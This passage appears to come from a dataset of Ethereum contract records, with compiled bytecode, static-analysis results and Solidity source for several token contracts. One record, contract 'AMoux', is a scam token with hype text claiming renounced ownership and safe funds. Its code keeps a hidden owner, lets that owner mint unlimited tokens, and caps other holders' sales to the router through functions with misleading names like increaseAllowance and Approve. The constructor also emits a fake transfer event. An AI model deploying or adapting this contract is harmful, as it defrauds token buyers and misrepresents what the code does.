546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fe3573d6000803e3d6000fd5b5050565b600060065482111561104e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fa565b600061105861123e565b90506110648382611261565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561111557600080fd5b505afa158015611129573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114d91906116f9565b8160018151811061116e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461119491309116846109e2565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111cd9085906000908690309042906004016118d7565b600060405180830381600087803b1580156111e757600080fd5b505af11580156111fb573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061121d5761121d6112a3565b6112288484846112d1565b80610f6957610f69600e54600c55600f54600d55565b600080600061124b6113c8565b909250905061125a8282611261565b9250505090565b600061106483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140a565b600c541580156112b35750600d54155b156112ba57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112e387611438565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113159087611495565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134490866114d7565b6001600160a01b03891660009081526002602052604090205561136681611536565b6113708483611580565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b591815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006113e48282611261565b8210156114015750506006549268056bc75e2d6310000092509050565b90939092509050565b6000818361142b5760405162461bcd60e51b81526004016105fa919061184f565b506000610fa0848661195f565b60008060008060008060008060006114558a600c54600d546115a4565b925092509250600061146561123e565b905060008060006114788e8787876115f9565b919e509c509a509598509396509194505050505091939550919395565b600061106483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6f565b6000806114e48385611947565b9050838110156110645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fa565b600061154061123e565b9050600061154e8383611649565b3060009081526002602052604090205490915061156b90826114d7565b30600090815260026020526040902055505050565b60065461158d9083611495565b60065560075461159d90826114d7565b6007555050565b60008080806115be60646115b88989611649565b90611261565b905060006115d160646115b88a89611649565b905060006115e9826115e38b86611495565b90611495565b9992985090965090945050505050565b60008080806116088886611649565b905060006116168887611649565b905060006116248888611649565b90506000611636826115e38686611495565b939b939a50919850919650505050505050565b60008261165857506000610561565b6000611664838561197f565b905082611671858361195f565b146110645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fa565b803580151581146116d857600080fd5b919050565b6000602082840312156116ee578081fd5b8135611064816119cb565b60006020828403121561170a578081fd5b8151611064816119cb565b60008060408385031215611727578081fd5b8235611732816119cb565b91506020830135611742816119cb565b809150509250929050565b600080600060608486031215611761578081fd5b833561176c816119cb565b9250602084013561177c816119cb565b929592945050506040919091013590565b6000806040838503121561179f578182fd5b82356117aa816119cb565b91506117b8602084016116c8565b90509250929050565b600080604083850312156117d3578182fd5b82356117de816119cb565b946020939093013593505050565b6000602082840312156117fd578081fd5b611064826116c8565b600060208284031215611817578081fd5b5035919050565b60008060008060808587031215611833578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b8181101561187b5785810183015185820160400152820161185f565b8181111561188c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119265784516001600160a01b031683529383019391830191600101611901565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561195a5761195a6119b5565b500190565b60008261197a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611999576119996119b5565b500290565b6000828210156119b0576119b06119b5565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461074557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f17387ae737aa3fd486421b05b8c911e0c9aeef5cb3cbaefe091874636f11f564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,679 |
0xce8eb64d37f1ea1086eb1cc634577d3e54c9d730
|
/*
___ __ __ __ _____ ___ _____ _ _ __ __
||=|| ||<< || || ||=|| ||_// \\// || ||
|| || || \\ || || || || || \\ // \\_//
The lost son of the infamous Dogefather. Shiba Inu killed Ryu’s father to take over the infamous INU corporation. Ever since, Akita Ryu has been on a
path to terminate all inferior Shiba’s and retake the DOG TITLE legacy.
AkitaRyu token is a trusted advanced cryptocurrency created and developed by Summit BC development team.
It will be the native token on SummitSwap, a platform for everyone.
✅ FUNDS ARE SAFU - WE OFFER
🚀 Fair Launch
🔑 Locked Liquidity
🖇 Renounced Ownership
WHITEPAPER IS IN PROGRESS. DON'T MISS OUT ON OUR PLANS TO CREATE A DECENTRALIZED EXCHANGE BUILT FOR BETTING ON MEMECOINS!
https://t.me/akitaryu
AkitaRyu.com
**/
pragma solidity ^0.6.9;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AMoux is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 500 * 10**9 * 10**18;
uint256 private rTotal = 500 * 10**9 * 10**18;
string private _name = 'moxuwofu';
string private _symbol = 'Amouxu';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public onlyOwner override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private onlyOwner {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b8101908080359060200190929190505050610774565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610851565b005b610252610a89565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a93565b604051808215151515815260200191505060405180910390f35b6102f6610b52565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b69565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c76565b6040518082815260200191505060405180910390f35b6103b6610cbf565b005b6103c0610e48565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eea565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff7565b604051808215151515815260200191505060405180910390f35b6104ed611015565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061103b565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c2565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106976112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610758576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61076a6107636112cf565b84846112d7565b6001905092915050565b61077c6112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b6108596112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661093a6112cf565b73ffffffffffffffffffffffffffffffffffffffff16141561095b57600080fd5b610970816006546114ff90919063ffffffff16565b6006819055506109cf81600260006109866112cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ff90919063ffffffff16565b600260006109db6112cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a216112cf565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b6000610aa0848484611587565b610b4784610aac6112cf565b610b4285600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610af96112cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184e90919063ffffffff16565b6112d7565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610b716112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cc76112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ee05780601f10610eb557610100808354040283529160200191610ee0565b820191906000526020600020905b815481529060010190602001808311610ec357829003601f168201915b5050505050905090565b610ef26112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061100b6110046112cf565b8484611587565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110ca6112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611211576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806119596026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6112df6112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113da57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141457600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008082840190508381101561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115c157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fb57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a65750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116ba5760075481106116b957600080fd5b5b61170c81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184e90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ff90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061189083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611898565b905092915050565b6000838311158290611945576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561190a5780820151818401526020810190506118ef565b50505050905090810190601f1680156119375780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122060a6f98f2a353a94b02297365697cd240b015aa815d0ac69de8a5b07d2962cc064736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 1,680 |
0x63faebc499c812151b4034f815041e3665c81268
|
/**
*Submitted for verification at Etherscan.io on 2021-03-01
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
